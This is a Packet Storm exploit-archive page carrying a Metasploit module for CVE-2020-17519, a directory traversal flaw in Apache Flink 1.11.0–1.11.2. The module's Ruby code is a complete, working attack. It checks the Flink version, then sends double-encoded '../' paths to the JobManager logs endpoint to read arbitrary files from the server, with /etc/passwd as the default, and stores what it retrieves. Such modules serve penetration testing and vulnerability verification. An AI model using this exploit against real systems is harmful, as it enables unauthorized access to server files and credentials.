exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Flink JobManager Traversal

Apache Flink JobManager Traversal
Posted Sep 1, 2024
Authored by Brendan Coles, Hoa Nguyen, 0rich1 | Site metasploit.com

This Metasploit module exploits an unauthenticated directory traversal vulnerability in Apache Flink versions 1.11.0 less than or equal to 1.11.2. The JobManager REST API fails to validate user-supplied log file paths, allowing retrieval of arbitrary files with the privileges of the web server user. This Metasploit module has been tested successfully on Apache Flink version 1.11.2 on Ubuntu 18.04.4.

tags | exploit, web, arbitrary
systems | linux, ubuntu
advisories | CVE-2020-17519
SHA-256 | 776647522193812481f55a112c7a98a591a11cb7829c40e7841d4b5813acf9fa

Apache Flink JobManager Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Flink JobManager Traversal',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in Apache Flink versions 1.11.0 <= 1.11.2. The JobManager REST API fails
to validate user-supplied log file paths, allowing retrieval of arbitrary
files with the privileges of the web server user.

This module has been tested successfully on Apache Flink version 1.11.2
on Ubuntu 18.04.4.
},
'Author' => [
'0rich1 - Ant Security FG Lab', # Vulnerability discovery
'Hoa Nguyen - Suncsr Team', # Metasploit module
'bcoles', # Metasploit module cleanup and improvements
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-17519'],
['CWE', '22'],
['EDB', '49398'],
['PACKETSTORM', '160849'],
['URL', 'https://www.openwall.com/lists/oss-security/2021/01/05/2'],
['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
],
'DefaultOptions' => { 'RPORT' => 8081 },
'DisclosureDate' => '2021-01-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptInt.new('DEPTH', [ true, 'Depth for path traversal', 10]),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])
])
end

def check_host(_ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'config')
})

unless res
return Exploit::CheckCode::Unknown('No reply.')
end

unless res.body.include?('flink')
return Exploit::CheckCode::Safe('Target is not Apache Flink.')
end

version = res.get_json_document['flink-version']

if version.blank?
return Exploit::CheckCode::Detected('Could not determine Apache Flink software version.')
end

if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))
return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")
end

Exploit::CheckCode::Safe("Apache Flink version #{version} is not vulnerable.")
end

def retrieve_file(depth, filepath)
traversal = Rex::Text.uri_encode(Rex::Text.uri_encode("#{'../' * depth}#{filepath}", 'hex-all'))
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'jobmanager', 'logs', traversal)
})

unless res
print_error('No reply')
return
end

if res.code == 404
print_error('File not found')
return
end

if res.code == 500
print_error("Unexpected reply (HTTP #{res.code}): Server encountered an error attempting to read file")
msg = res.body.scan(/Caused by: (.+?)\\n/).flatten.last
print_error(msg) if msg
return
end

if res.code != 200
print_error("Unexpected reply (HTTP #{res.code})")
return
end

res.body.to_s
end

def run_host(ip)
depth = datastore['DEPTH']
filepath = datastore['FILEPATH']

print_status("Downloading #{filepath} ...")
res = retrieve_file(depth, filepath)

return if res.blank?

print_good("Downloaded #{filepath} (#{res.length} bytes)")
path = store_loot(
'apache.flink.jobmanager.traversal',
'text/plain',
ip,
res,
File.basename(filepath)
)
print_good("File #{filepath} saved in: #{path}")
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close